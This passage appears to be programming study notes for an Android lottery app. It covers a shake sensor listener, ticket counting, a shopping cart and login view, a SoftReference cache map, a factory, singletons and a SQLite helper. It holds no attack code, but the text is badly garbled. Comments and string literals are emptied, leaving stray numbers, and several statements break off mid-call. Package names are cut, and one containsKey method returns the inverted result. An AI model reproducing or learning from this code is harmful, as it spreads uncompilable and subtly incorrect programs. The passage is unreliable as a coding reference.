												randomSelectBlueBall();
								}
				};
}
/**
	*	Sensor
	*/
public	void	registerSensor(){
				if	(sensorManager	!=	null)	{
								Sensor	sensor	=	sensorManager.getDefaultSensor(	Sensor.TYPE_ACCELEROMETER
								sensorManager.registerListener(mySensorEventListener,sensor,	SensorManager.
				}
}
/**
	*	Sensor
	*/
public	void	unRegisterSensor(){
				if	(sensorManager!=null)	{
								Sensor	sensor	=	sensorManager.getDefaultSensor(	Sensor.TYPE_ACCELEROMETER
								sensorManager.unregisterListener(mySensorEventListener,sensor);
				}
}

package	cn.zengfansheng.lottery.view.listener;

	

import	android.content.Context;

import	android.hardware.Sensor;

import	android.hardware.SensorEvent;

import	android.hardware.SensorEventListener;

import	android.os.Vibrator;

	

/**

*	

*

*	@author	hacket

*/

public	abstract	class	ShakeListener	implements	SensorEventListener	{

	

				private	long	lastSampleTime;//	

				private	float	lastPointX;//	x

				private	float	lastPointY;//	y



				private	float	lastPointZ;//	z

	

				private	final	long	DURATION	=	100;//	

	

				private	float	onceShake;//	

				private	float	totalShake;//	

	

				private	final	float	SWITCHSHAKEVALUE	=	180;//	

	

				private	Context	context;

	

				//	note******************************************

	

				public	ShakeListener(Context	context)	{

								this.context	=	context;

								init();

				}

				public	void	init()	{

	

								lastSampleTime	=	0;

								lastPointX	=	0;

								lastPointY	=	0;

								lastPointZ	=	0;

	

								onceShake	=	0;

								totalShake	=	0;

				}

	

				//	note*********************sensor*********************

				@Override

				public	void	onSensorChanged(SensorEvent	event)	{

	

								//	?

								//	1

								//	2,

								//	3

								//	4

								//	5

								//	6

	

								if	(lastSampleTime	==	0)	{//	0

												//	

												lastSampleTime	=	System.currentTimeMillis();

	

												//	x,y,z

	

												lastPointX	=	event.values[0];



												lastPointY	=	event.values[1];

												lastPointZ	=	event.values[2];

								}	else	{//	

	

												//	

												long	currentSampTime	=	System.currentTimeMillis();

	

												//	100ms

												if	(currentSampTime	-	lastSampleTime	>=	DURATION)	{

	

																//	;

																float	x	=	event.values[0];

																float	y	=	event.values[1];

																float	z	=	event.values[2];

	

																//	

																float	dx	=	Math.abs(lastPointX	-	x);

																float	dy	=	Math.abs(lastPointY	-	y);

																float	dz	=	Math.abs(lastPointZ	-	z);

	

																//	

																//	

																if	(dx	<	1)	{

																				dx	=	0;

																}

																if	(dy	<	1)	{

																				dy	=	0;

																}

																if	(dz	<	1)	{

																				dz	=	0;

																}

	

																//	

																onceShake	=	dx+dy+dz;

	

																if	(onceShake	==	0)	{

																				//	

																				init();

																}

	

																//	

																totalShake	+=	onceShake;

	

																//	

																if	(totalShake	>	SWITCHSHAKEVALUE)	{

	

																				//	:Listener



																				//	

																				createLottery();

	

																				//	

																				vibrate();

	

																				//	FIXME	

																				init();

	

																}	else	{//	

																				//	

																				lastSampleTime	=	System.currentTimeMillis();

	

																				lastPointX	=	event.values[0];

																				lastPointY	=	event.values[1];

																				lastPointZ	=	event.values[2];

																}

	

												}

								}

				}

	

				/**

					*	

					*/

				private	void	vibrate(){

								//	

								Vibrator	vibrator	=	(Vibrator)	context.getSystemService(Context.VIBRATOR_SERVICE);

								//	200ms

								vibrator.vibrate(250);

				}

	

				/**

					*	

					*/

				public	abstract	void	createLottery();

	

				//	note*********************	*********************

				@Override

				public	void	onAccuracyChanged(Sensor	sensor,	int	accuracy)	{

				}

}

1

2
onPause()





——

//	note*********************7*********************
/**
	*	
	*	
	*	@param	num
	*												
	*	@return	num	num!
	*/
//	numreturn
public	long	factorial(int	num)	{
				LogUtil.i(TAG,	"num:"	+	num);
				if	(num	<	0)	{
								throw	new	IllegalArgumentException("num<0" );
				}	else	if	(num	==	0	||	num	==	1)	{
								return	1;
				}else	{
								return	num*factorial(num-1);
				}
}
/**
	*	
	*	
	*	@return
	*/
public	long	countNoteBall()	{
				long	total	=	0;
				
				if	(listRedSelected	!=	null	&&	listBlueSelected	!=	null)	{
								if	(listRedSelected.size()	<	6)	{//	
												return	0;
								}
								//	
								long	redBallCount	=	factorial(listRedSelected.size())
																/	(factorial(6)	*	factorial(listRedSelected.size()	-	6));



								LogUtil.i(TAG,	"redBallCount:"	+	redBallCount);
								//	
								int	blueBallCount	=	listBlueSelected.size();
								//	
								total	=	redBallCount	*	blueBallCount;
								return	total;
				}
				return	-1;
}
/**
	*	
	*/
public	void	changeBottomTip()	{
				//	tv_game_choose_notice_zl
				//	1
				//	
				//	
				if	(countNoteBall()	<=	0)	{
								//	1-1
								if	(listRedSelected.size()	<	6)	{
												String	notice	=	"" 	+	(6	-	listRedSelected.size())	+	"" ;
												BottomNavigatorManager.getBottomNavigatorManagerInstance().changeGameBottomNotice(notice	);
								}	else	if	(listBlueSelected.size()	<	1)	{
												//	1-2
												String	notice	=	"" 	+	1	+	"" ;
												BottomNavigatorManager.getBottomNavigatorManagerInstance().changeGameBottomNotice(notice);
								}
				}	else	{
								//	2
								String	notice	=	countNoteBall()	+	"" 	+	countNoteBall()	*	2	+	"" ;
								BottomNavigatorManager.getBottomNavigatorManagerInstance().changeGameBottomNotice(notice);
				}
}





1

2-

3TextView
<string	name="is_play_bottom_title">&#160;&#160;&#160;&#160;NUM&#160

&#160;&#160;&#160;MONEY&#160;&#160;&#160;&#160;&#160;</string>

//&#160	

Spanned	fromHtml	=	Html.fromHtml(notice);//public	interface	Spanned	extends	CharSequence
tvShoppingLotteryNotice.setText(fromHtml);

1
2
3
4
5
6

package	cn.zengfansheng.lottery.view;

	

import	java.util.ArrayList;

import	java.util.List;

import	java.util.Random;

	

import	org.apache.commons.lang3.StringUtils;

	

import	android.content.Context;

import	android.os.Bundle;

import	android.text.Html;

import	android.text.Spanned;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.Button;

import	android.widget.ImageButton;

import	android.widget.ListView;



import	android.widget.TextView;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.GlobalParams;

import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.domain.ShoppingCart;

import	cn.zengfansheng.lottery.domain.Ticket;

import	cn.zengfansheng.lottery.util.PromptManager;

import	cn.zengfansheng.lottery.view.manager.UIManager;

	

/**

*	

*

*	@author	hacket

*/

public	class	ShoppingView	extends	BaseView	{

	

				public	ShoppingView(Context	context,	Bundle	bundle)	{

								super(context);

								this.bundle	=	bundle;

				}

	

				@Override

				protected	void	init()	{

								//	

								showView	=	(ViewGroup)	View.inflate(context,	R.layout.zl_shopping,

null);

	

								//	

								initComponent();

	

								//	ListView

								setListView();

				}

	

				@Override

				protected	void	setListener()	{

								//	

								setComponentListener();

				}

	

				@Override

				public	int	getViewId()	{

								return	ConstantValue.VIEW_SHOPPINGCART;

				}

	

				@Override

				public	void	onPause()	{

								super.onPause();

				}

	



				//	note*********************0*********************

				//	①:
				//	②
				//	③
				//	④
				//	⑤TexeView
				//	⑥
	

				//	note*********************1-2*********************

				private	Button	btnAddOptional;//	

				private	Button	btnAddRandom;//	

				private	ImageButton	ibShoppingListClear;//	

				private	TextView	tvShoppingLotteryNotice;//	

				private	Button	btnLotteryShoppingBuy;//	

	

				/**

					*	

					*/

				private	void	initComponent()	{

	

								//	1

								btnAddOptional	=	(Button)	findViewById(R.id.btn_add_optional);

								btnAddRandom	=	(Button)	findViewById(R.id.btn_add_random);

	

								//	2

								ibShoppingListClear	=	(ImageButton)

findViewById(R.id.ib_shopping_list_clear);

	

								//	3

								tvShoppingLotteryNotice	=	(TextView)

findViewById(R.id.tv_shopping_lottery_notice);

	

								//	4

								btnLotteryShoppingBuy	=	(Button)

findViewById(R.id.btn_lottery_shopping_buy);

	

				}

	

				//	note*********************1-3*********************

				/**

					*	

					*/

				private	void	setComponentListener()	{

	

								btnAddOptional.setOnClickListener(this);

								btnAddRandom.setOnClickListener(this);

								ibShoppingListClear.setOnClickListener(this);

								btnLotteryShoppingBuy.setOnClickListener(this);

				}

				@Override



				public	void	onClick(View	v)	{

								switch	(v.getId())	{

								case	R.id.btn_add_optional://	

												//	

												UIManager.getUiManager().history();

												changeShoppingCartNotice();

												break;

								case	R.id.btn_add_random://	

												addRandomTicket();

												changeShoppingCartNotice();

												break;

								case	R.id.ib_shopping_list_clear://	

												clearTicketCart();

												changeShoppingCartNotice();

												break;

								case	R.id.btn_lottery_shopping_buy://	:

												buyTicket();

												break;

								default:

	

												break;

								}

				}

	

				//	note*********************2*********************

				private	ListView	lvShoppingList;//	listview

				private	ShopcartAdapter	shopcartAdapter;//	

				private	List<Ticket>	tickets;//	

	

				/**

					*	listview

					*/

				public	void	setListView(){

	

								lvShoppingList	=	(ListView)	findViewById(R.id.lv_shopping_list);

	

								tickets	=	ShoppingCart.getInstance().getTickets();

	

								shopcartAdapter	=	new	ShopcartAdapter();

								lvShoppingList.setAdapter(shopcartAdapter);

	

				}

	

				/**

					*	

					*

					*	@author	hacket

					*/

				private	class	ShopcartAdapter	extends	BaseAdapter	{

	



								@Override

								public	int	getCount()	{

												if	(tickets	!=	null)	{

																return	tickets.size();

												}

												return	0;

								}

	

								@Override

								public	Object	getItem(int	position)	{

												return	tickets.get(position);//	//

								}

	

								@Override

								public	long	getItemId(int	position)	{

												return	position;

								}

	

								@Override

								public	View	getView(final	int	position,	View	convertView,

																ViewGroup	parent)	{

	

												ViewHolder	holder	=	null;

												if	(convertView==null)	{

																convertView	=	View.inflate(context,	R.layout.zl_shopping_row,

null);

	

																holder	=	new	ViewHolder();

	

																//	

																holder.ibItemDelete	=	(ImageButton)

convertView.findViewById(R.id.ib_shopping_item_delete);

																//	

																holder.tvItemRedBalls	=	(TextView)

convertView.findViewById(R.id.tv_shopping_item_reds);

																//	

																holder.tvItemBlueBall	=	(TextView)

convertView.findViewById(R.id.tv_shopping_item_blues);

																//	

																holder.tvItemMoney	=	(TextView)

convertView.findViewById(R.id.tv_shopping_item_money);

	

																convertView.setTag(holder);//	store	data

	

												}	else	{

																holder	=	(ViewHolder)	convertView.getTag();

												}

	

												//	

												holder.tvItemRedBalls.setText(tickets.get(position).getRedBall());



												//	

												holder.tvItemBlueBall.setText(tickets.get(position).getBlueBall());

												//	

												int	noteNum	=	tickets.get(position).getNoteNum();//	

												holder.tvItemMoney.setText(noteNum	+	"" 	+	noteNum	*	2	+

	

												//	-

												holder.ibItemDelete.setOnClickListener(new	OnClickListener()	{

	

																@Override

																public	void	onClick(View	v)	{

																				//	

																				tickets.remove(position);

																				//	adapter

																				shopcartAdapter.notifyDataSetChanged();

																				//	

																				changeShoppingCartNotice();

																}

												});

	

												return	convertView;

								}

	

				}

	

				/**

					*	ViewHolder

					*

					*	@author	hacket

					*/

				private	static	class	ViewHolder	{

								private	ImageButton	ibItemDelete;//	

								private	TextView	tvItemRedBalls;//	

								private	TextView	tvItemBlueBall;//	

								private	TextView	tvItemMoney;//	

				}

	

				//	note*********************3*********************

				/**

					*	

					*/

				private	void	addRandomTicket()	{

								//	

								List<Integer>	listRedSelected	=	new	ArrayList<Integer>();

								Random	random	=	new	Random();

								while	(listRedSelected.size()	<	6)	{

												int	redBall	=	random.nextInt(33)	+	1;//	01

												if	(listRedSelected.contains(redBall))	{//	continue

																continue;

												}



												//	adapter

												listRedSelected.add(redBall);

								}

								//	

								List<Integer>	listBlueSelected	=	new	ArrayList<Integer>();

								int	blueBallNum	=	random.nextInt(16)	+	1;//	01

								listBlueSelected.add(blueBallNum);

	

								//	Ticket

								Ticket	ticket	=	new	Ticket();

								//	3javabean

	

								//	3-1

								StringBuffer	sbRed	=	new	StringBuffer();

								for	(Integer	redNum	:	listRedSelected)	{

												//	[	11	22	32	01	34	13	24]

												sbRed.append("	").append(redNum);

												//	end

								}

								String	redBall	=	sbRed.toString().substring(1);

								ticket.setRedBall(redBall);

	

								//	3-2

								StringBuffer	sbBlue	=	new	StringBuffer();

								sbBlue.append("	").append(listBlueSelected.get(0));

								String	blueBall	=	sbBlue.toString().substring(1);

								ticket.setBlueBall(blueBall);

	

								//	3-3

								ticket.setNoteNum(1);

	

								//	4	List<Ticket>

								//	

								ShoppingCart	cart	=	ShoppingCart.getInstance();

								cart.getTickets().add(ticket);

	

								//	

								cart.setIssue(bundle.getString("issue"));

								//	id

								cart.setLotteryId(ConstantValue.SSQ);

	

								//	

								shopcartAdapter.notifyDataSetChanged();

				}

	

				//	note*********************4*********************

				/**

					*	

					*/

				private	void	clearTicketCart()	{



								//	

								ShoppingCart.getInstance().getTickets().clear();

								//	adapter

								shopcartAdapter.notifyDataSetChanged();

				}

	

				//	note*********************5TexeView*********************

				//	

				@Override

				public	void	onResume()	{

								super.onResume();

								changeShoppingCartNotice();

				}

	

				/**

					*	

					*/

				public	void	changeShoppingCartNotice()	{

								int	total	=	0;

								List<Ticket>	tickets	=	ShoppingCart.getInstance().getTickets();

								for	(Ticket	ticket	:	tickets)	{

												total	+=	ticket.getNoteNum();

								}

								//	Html

								//	TextView

								//	<![CDATA[		<font

								//	color="#ff0000">NUM</font>							<font

								//	color="#ff0000">MONEY</font>		]]>

								String	notice	=

context.getResources().getString(R.string.is_shopping_list_betting_num);

								notice	=	StringUtils.replaceEach(notice,	new	String[]{"NUM",

new	String[]{String.valueOf(total),String.valueOf(total*2)});

								Spanned	fromHtml	=	Html.fromHtml(notice);//public	interface	Spanned

extends	CharSequence

								tvShoppingLotteryNotice.setText(fromHtml);

				}

	

				//	note*********************6*********************

				/**

					*	

					*/

				private	void	buyTicket()	{

	

								//	1

								//	2

								//	3

	

								if	(ShoppingCart.getInstance().getTickets().size()	>	0)	{	//	1-1

																																																																				

size)



	

												if	(GlobalParams.isLogin)	{//	2-1()

	

																if	(GlobalParams.userBalance	>	Float.parseFloat(ShoppingCart	

																								.getInstance().getLotteryValue()))	{//	3-1(

																																																												//	)

	

																				//	TODO:

	

																				//	

																				UIManager.getUiManager().changeView(PreBetView.class

bundle);

	

																}	else	{//	3-2

																				//	---

																				PromptManager.showToast(context,	"" );

																}

	

												}	else	{//	2-2

																//	--- ① ②
																PromptManager.showToast(context,	"" );

																UIManager.getUiManager().changeView(UserLogin.class,	bundle);

																//	

												}

								}	else	{//	1-2

												//	

												PromptManager.showToast(context,	"" );

								}

				}

}





1EditText
etUserName.addTextChangedListener(new	MyTextWatcher());
2-
<!--	-	-->
<LinearLayout
				android:layout_width="180dip"
				android:layout_height="wrap_content"
				android:layout_marginLeft="15dip"
				android:background="@android:drawable/edit_text"	>
				<EditText
								android:id="@+id/et_user_login_username"
								android:layout_width="140dip"
								android:layout_height="wrap_content"
								android:background="@null"
								android:inputType="number"
								android:singleLine="true"
								android:text="13200000000"	/>
				<ImageView
								android:id="@+id/iv_clear_username"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_gravity="center"
								android:layout_marginLeft="4dip"
								android:src="@drawable/id_clear_button"
								android:visibility="invisible"	/>
</LinearLayout>

	

layout



	 	

package	cn.zengfansheng.lottery.view;

	

import	android.content.Context;

import	android.os.Bundle;

import	android.text.Editable;

import	android.text.TextUtils;

import	android.text.TextWatcher;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.Button;

import	android.widget.CheckBox;

import	android.widget.EditText;

import	android.widget.ImageView;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.GlobalParams;

import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.domain.User;

import	cn.zengfansheng.lottery.engine.UserEngine;

import	cn.zengfansheng.lottery.factory.EngineFactory;

import	cn.zengfansheng.lottery.net.protocol.Message;

import	cn.zengfansheng.lottery.util.LogUtil;

import	cn.zengfansheng.lottery.util.PromptManager;

import	cn.zengfansheng.lottery.view.manager.UIManager;

	

/**

*	

*

*	@author	hacket

*/

public	class	UserLogin	extends	BaseView	{

	

				private	static	final	String	TAG	=	"UserLogin";

	

				public	UserLogin(Context	context,	Bundle	bundle)	{

								super(context,	bundle);

								this.bundle	=	bundle;

				}

	

				public	UserLogin(Context	context)	{

								super(context);

				}

	

				@Override

				protected	void	init()	{

								showView	=	(ViewGroup)	View.inflate(context,



R.layout.zl_user_login,	null);

	

								//	

								initComponent();

	

				}

	

				@Override

				protected	void	setListener()	{

								//	

								setComponentListener();

				}

	

				@Override

				public	int	getViewId()	{

								return	ConstantValue.VIEW_USERLOGIN;

				}

	

				//	note*********************0*********************

				//	layout

				//	

				//	

				//	

				//	

				//	

				//	

	

				//	note*********************1*********************

				private	EditText	etUserName;//	

				private	ImageView	ivClearUsername;//	

				private	EditText	etPassword;//	

				private	CheckBox	cbAutoLogin;//	

				private	Button	btnRegister;//	

				private	Button	btnLogin;//	

	

				/**

					*	

					*/

				public	void	initComponent()	{

								//	

								etUserName	=	(EditText)

findViewById(R.id.et_user_login_username);

								//	

								ivClearUsername	=	(ImageView)

findViewById(R.id.iv_clear_username);

								//	

								etPassword	=	(EditText)

findViewById(R.id.et_user_login_password);

	



								//	

								cbAutoLogin	=	(CheckBox)

findViewById(R.id.cb_user_login_auto_login);

	

								//	

								btnRegister	=	(Button)

findViewById(R.id.btn_user_login_regist);

								//	

								btnLogin	=	(Button)	findViewById(R.id.btn_user_login);

				}

	

				/**

					*	

					*/

				public	void	setComponentListener()	{

								ivClearUsername.setOnClickListener(this);

								btnRegister.setOnClickListener(this);

								btnLogin.setOnClickListener(this);

	

								etUserName.addTextChangedListener(new	MyTextWatcher());

				}

	

				@Override

				public	void	onClick(View	v)	{

								super.onClick(v);

								switch	(v.getId())	{

								case	R.id.iv_clear_username://	

												clearUsername();

												break;

								case	R.id.btn_user_login_regist://	

												//	

												break;

								case	R.id.btn_user_login://	

												LogUtil.i(TAG,	"~" );

												userLogin();

												break;

								default:

												break;

								}

				}

	

				/**

					*	

					*

					*	@author	hacket

					*/

				private	class	MyTextWatcher	implements	TextWatcher{

	

								@Override



								public	void	beforeTextChanged(CharSequence	s,	int	start,

int	count,

																int	after)	{

								}

	

								@Override

								public	void	onTextChanged(CharSequence	s,	int	start,	int

before,

																int	count)	{

								}

	

								@Override

								public	void	afterTextChanged(Editable	s)	{

												//	

												LogUtil.i(TAG,	"" );

												ivClearUsername.setVisibility(View.VISIBLE);

								}

				}

	

				//	note*********************2*********************

				/**

					*	

					*

					*	@param	username

					*												

					*	@param	password

					*												

					*	@return	truefalse

					*/

				public	boolean	checkUserAndPass(String	username,	String

password)	{

	

								if	(TextUtils.isEmpty(username))	{

												PromptManager.showToast(context,	"" );

												return	false;

								}	else	if	(TextUtils.isEmpty(password))	{

												PromptManager.showToast(context,	"" );

												return	false;

								}

								return	true;

				}

	

				//	note*********************2-1*********************

				/**

					*	

					*/

				private	void	clearUsername()	{

								String	username	=	etUserName.getText().toString().trim();

								if	(!TextUtils.isEmpty(username))	{



												etUserName.setText("");

												ivClearUsername.setVisibility(View.GONE);

								}

				}

	

				//	note*********************3*********************

				/**

					*	

					*/

				private	void	userLogin(){

								String	username	=	etUserName.getText().toString().trim();

								String	password	=	etPassword.getText().toString().trim();

								boolean	isLegal	=	checkUserAndPass(username,	password);

								if	(isLegal)	{//	

												User	user	=	new	User();

												user.setUsername(username);

												user.setPassword(password);

												new	MyHttpAsyncTask<User>()	{

	

																@Override

																protected	void	onPreExecute()	{

																				super.onPreExecute();

																				//	PromptManager.showProgressDialog(context);

																}

	

																@Override

																protected	Message	doInBackground(User...	user)	{

																				//	SystemClock.sleep(500);

																				//	

																				User	myUser	=	user[0];

																				UserEngine	userEngine	=

EngineFactory.getEngineImplInstance(UserEngine.class);

																				return	userEngine.login(myUser);

																}

	

																@Override

																protected	void	onPostExecute(Message	result)	{

																				super.onPostExecute(result);

																				//	PromptManager.closeProgressDialog();

																				if	(result!=null)	{

																								int	errorcode	=

result.getBody().getOlement().getErrorcode();

																								if	(0	==	errorcode)	{//	

																												GlobalParams.isLogin	=	true;//	

																												UIManager.getUiManager().history();

																												PromptManager.showToast(context,	"" );

																								}else{

																												GlobalParams.isLogin	=	false;

																												UIManager.getUiManager().history();



																												String	errormsg	=

result.getBody().getOlement().getErrormsg();

																												PromptManager

																																				.showToast(context,	"" 	+

errormsg);

																								}

																				}

																}

												}.executeProxy(user);

								}

				}

}



①OOMGCObject	obj	=	new	Object();
②SoftwareReferenceOOMGC
③	 WeakReference	GC
④	 PhantomReference
java.lang.ref.SoftReference<T>
	 OutOfMemoryError	

①ListViewitem
②GridView	10GCOOM

UIManagerMapMap
150K100Map10MOOM
private	Map<String,	BaseView>	views	=	new	HashMap<String,	BaseView>();
GCOOM
SoftwareReference

private	static	Map<String,	BaseView>	views;
				static	{
								if	(isHighMem())	{//	
												views	=	new	HashMap<String,	BaseView>();
								}	else	{//	
												views	=	new	MyReferenceMap<String,	BaseView>();
								}
				}

package	cn.zengfansheng.lottery.view.manager;
import	java.lang.ref.SoftReference;
import	java.util.HashMap;
/**
	*	
	*	
	*	@param	<K>
	*	@param	<V>



	*/
public	class	MyReferenceMap<K,	V>	extends	HashMap<K,	V>	{
				private	static	final	long	serialVersionUID	=	1L;
				//	note*********************	*********************
				//	GC1.2-------OOM
				//	
				
				private	HashMap<K,	SoftReference<V>>	hashMapSR;
				//	V
				
				public	MyReferenceMap()	{
								//	Object	obj	=	new	Object();//	
								//	
								//	SoftReference<Object>	sr	=	new	SoftReference<Object>(obj);//	
								//	 obj()
								hashMapSR	=	new	HashMap<K,	SoftReference<V>>();
				}
				//	put1	2
				@Override
				public	V	put(K	key,	V	value)	{
								//	V,
								SoftReference<V>	sr	=	new	SoftReference<V>(value);//	
								hashMapSR.put(key,	sr);
								value	=	null;
								//	value
								return	value;
				}
				//	get1keymap23null
				@Override
				public	V	get(Object	key)	{
								SoftReference<V>	sr	=	hashMapSR.get(key);//	“”
								V	v	=	sr.get();//	keynull
								return	v;
				}
				@Override
				public	boolean	containsKey(Object	key)	{
								SoftReference<V>	sr	=	hashMapSR.get(key);//	“”



								return	sr.get()	==	null;//	GCfalse
				}
				//	
				//	map
}

package	cn.zengfansheng.lottery.view.manager;
import	java.lang.ref.ReferenceQueue;
import	java.lang.ref.SoftReference;
import	java.util.HashMap;
/**
	*	
	*	
	*	@param	<K>
	*	@param	<V>
	*/
public	class	MyReferenceMap<K,	V>	extends	HashMap<K,	V>	{
				private	static	final	long	serialVersionUID	=	1L;
				//	note*********************1*********************
				//	GC1.2-------OOM
				//	
				
				private	HashMap<K,	SoftReference<V>>	hashMapSR;
				private	ReferenceQueue<V>	q;//	“”
				//	V
				
				public	MyReferenceMap()	{
								//	Object	obj	=	new	Object();//	
								//	
								//	SoftReference<Object>	sr	=	new	SoftReference<Object>(obj);//	
								//	 obj()
								hashMapSR	=	new	HashMap<K,	SoftReference<V>>();
								q	=	new	ReferenceQueue<V>();//	q
				}
				//	put1	2
				@Override
				public	V	put(K	key,	V	value)	{



								//	SoftReference<V>	sr	=	new	SoftReference<V>(value,	q);//	
								MySoftwareReference<K,	V>	sr	=	new	MySoftwareReference<K,	V>
(key,	value,	q);
								hashMapSR.put(key,	sr);
								value	=	null;
								//	value
								return	value;
				}
				//	get1keymap23null
				@Override
				public	V	get(Object	key)	{
								SoftReference<V>	sr	=	hashMapSR.get(key);//	“”
								V	v	=	sr.get();//	keynull
								return	v;
				}
				@Override
				public	boolean	containsKey(Object	key)	{
								clearSRValue();
								SoftReference<V>	sr	=	hashMapSR.get(key);//	“”
								if	(sr	!=	null)	{//	
												return	true;
												//	return	sr.get()	==	null;//	GCfalse
								}	else	{//	null
												return	false;
								}
				}
				//	
				//	map
				//	note*********************2*********************
				//	
				/**
					*	
					*/
				public	void	clearSRValue(){
								MySoftwareReference<K,	V>	sr	=	(MySoftwareReference<K,	V>)	q.poll();
								while	(sr	!=	null)	{
												//	/hashMapSR.remove(key);//mapkey,Referencekey,



												//	hashMapSR sr
												hashMapSR.remove(sr.key);
												sr	=	(MySoftwareReference<K,	V>)	q.poll();
								}
				}
				/**
					*	SoftwareReference,key,GC
					*	
					*	@author	hacket
					*	
					*	@param	<K>
					*	@param	<V>
					*/
				private	class	MySoftwareReference<K,	V>	extends	SoftReference<V>	{
								Object	key	=	null;
								public	MySoftwareReference(K	key,	V	value,	ReferenceQueue<?	super	V>	q)	{
												super(value,	q);
												this.key	=	key;
								}
				}
}



1
2

3
4

5
6

1 ①source	Folderconfig.properties
#UserService=cn.zengfanshegdesignMode.\u5DE5\u5382\u6A21\u5F0F.User1
UserService=cn.zengfanshegdesignMode.\u5DE5\u5382\u6A21\u5F0F.User2		
②BasicFactory.javaconfig.properties
package	cn.zengfanshegdesignMode.;

	

import	java.io.IOException;

import	java.util.Properties;

	

/**

*	

*	@author	hacket

*/

public	class	BasicFactory	{

	

				//	1config.properties

				private	static	Properties	properties;

	

				static{

								properties	=	new	Properties();

								try	{

											

properties.load(BasicFactory.class.getClassLoader().getResourceAsStream(

								}	catch	(IOException	e)	{

												e.printStackTrace();

								}

				}

	

				//2

				public	static	<T>	T	getInstance(Class<?	extends	T>	clazz)	{



	

								String	simpleClassName	=	clazz.getSimpleName();

	

								try	{

												Class<?>	c	=	Class.forName(properties.getProperty(simpleClassName));

												@SuppressWarnings("unchecked")

												T	t	=	(T)	c.newInstance();

												return	t;

								}	catch	(Exception	e)	{

												e.printStackTrace();

								}

								return	null;

				}

}

③UserService.java
package	cn.zengfanshegdesignMode.;
/**
	*	
	*	@author	hacket
	*/
public	interface	UserService	{
				/**
					*	
					*/
				public	abstract	void	login();
}
④
User1.java
package	cn.zengfanshegdesignMode.;
/**
	*	1
	*	@author	hacket
	*/
public	class	User1	implements	UserService	{
				@Override
				public	void	login()	{
								System.out.println("user1	login");
				}
}
User2.java



package	cn.zengfanshegdesignMode.;
/**
	*	2
	*/
public	class	User2	implements	UserService	{
				@Override
				public	void	login()	{
								System.out.println("user2	login");
				}
}
⑤
package	cn.zengfanshegdesignMode.test;
import	org.junit.Test;
import	cn.zengfanshegdesignMode..BasicFactory;
import	cn.zengfanshegdesignMode..UserService;
public	class	FactoryTest	{
				@Test
				public	void	testFactory()	{
								UserService	userService	=	BasicFactory.getInstance(UserService.class);
								userService.login();
				}
}
2
①new
②static
③

1 ——	LazySingleTon.java
package	cn.zengfanshegdesignMode.;
/**
	*	
	*	@author	hacket
	*/
public	class	LazySingleTon	{

				//	note*********************0*********************
				//	



				//	1
				//	2
				//	3

				//	note*********************1*********************
				//	

				//	note*********************2*********************
				//	1new
				//	2private,static
				//	3

				private	LazySingleTon()	{
				}
				private	static	LazySingleTon	lazySingleTon	=	null;

//				
//				public	static	LazySingleTop	getInstance()	{
//
//								if	(lazySingleTop	==	null)	{//	
//												try	{
//																Thread.sleep(20);
//												}	catch	(InterruptedException	e)	{
//																e.printStackTrace();
//												}
//												lazySingleTop	=	new	LazySingleTop();
//								}
//								return	lazySingleTop;
//				}

//				synchronized
//				public	static	LazySingleTop	getInstance()	{
//								synchronized	(LazySingleTop.class)	{
//												try	{
//																Thread.sleep(20);
//												}	catch	(InterruptedException	e)	{
//																e.printStackTrace();



//												}
//												if	(lazySingleTop	==	null)	{
//																lazySingleTop	=	new	LazySingleTop();
//												}
//												return	lazySingleTop;
//								}
//				}

				//	
				public	static	LazySingleTon	getInstance()	{
								if	(lazySingleTon	==	null)	{//	synchronized
												synchronized	(LazySingleTon.class)	{//	①
																try	{
																				Thread.sleep(100);//	
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
																if	(lazySingleTon	==	null)	{//	
																				lazySingleTon	=	new	LazySingleTon();
																}
												}
								}
								return	lazySingleTon;
				}
}
2 ——	HungrySingleTon.java
package	cn.zengfanshegdesignMode.;
/**
	*	
	*	
	*	@author	hacket
	*/
public	class	HungrySingleTon	{
				//	note*********************0*********************
				//	
				//	1
				//	2



				//	3

				//	note*********************1*********************
				//	

				//	note*********************2*********************
				//	1new
				//	2private,static
				//	3

				private	HungrySingleTon()	{
				}
				private	static	HungrySingleTon	singleTop	=	new	HungrySingleTon();
				public	static	HungrySingleTon	getInstance()	{
								return	singleTop;
				}
}
3	
Android
BaseAdapterAdapter
Adapter104BaseAdapter
4	
Android
ViewViewGroup
5	

6	



1
2

_id	integer	primary	key	autoincrement
int,String,doubleSerialiable

①NewsDBHelperSQLiteOpenHelper	 	
package	cn.zengfansheng.db.dao;

	

import	android.content.Context;

import	android.database.sqlite.SQLiteDatabase;

import	android.database.sqlite.SQLiteOpenHelper;

	

public	class	NewsDBHelper	extends	SQLiteOpenHelper	{

	

				private	final	static	String	DBNAME	=	"news.DB";

				private	final	static	int	VERSION	=	1;

	

				public	static	final	String	TABLE_NEWS_NAME	=	"news";//	

	

				public	static	final	String	TABLE_NEWS_ID	=	"_id";//	

				public	static	final	String	TABLE_NEWS_TITLE	=	"title";//	

				public	static	final	String	TABLE_NEWS_SUMMARY	=	"summary";//	

	

				public	NewsDBHelper(Context	context)	{

								super(context,	DBNAME,	null,	VERSION);

				}

	

				@Override

				public	void	onCreate(SQLiteDatabase	db)	{

	

								//	

								String	sql	=	"create	table	"	+	TABLE_NEWS_NAME	+	"("	+

TABLE_NEWS_ID

																+	"	integer	primary	key	autoincrement,	"	+

TABLE_NEWS_TITLE

																+	"	varchar(50),	"	+	TABLE_NEWS_SUMMARY	+	"

varchar(200)"	+	")";

								db.execSQL(sql);



				}

	

				@Override

				public	void	onUpgrade(SQLiteDatabase	db,	int	oldVersion,	int

newVersion)	{

								//	

				}

}

②CRUDNewsDao		
package	cn.zengfansheng.db.dao;
import	java.util.List;
import	cn.zengfansheng.db.domain.News;
public	interface	NewsDao	{
				/**
					*	
					*	@param	news
					*	@return
					*/
				public	abstract	long	insert(News	news);
				/**
					*	
					*	@param	_id
					*	@return
					*/
				public	abstract	int	delete(int	_id);
				/**
					*	
					*	@param	news
					*	@return
					*/
				public	abstract	int	update(News	news);
				/**
					*	
					*	@return
					*/
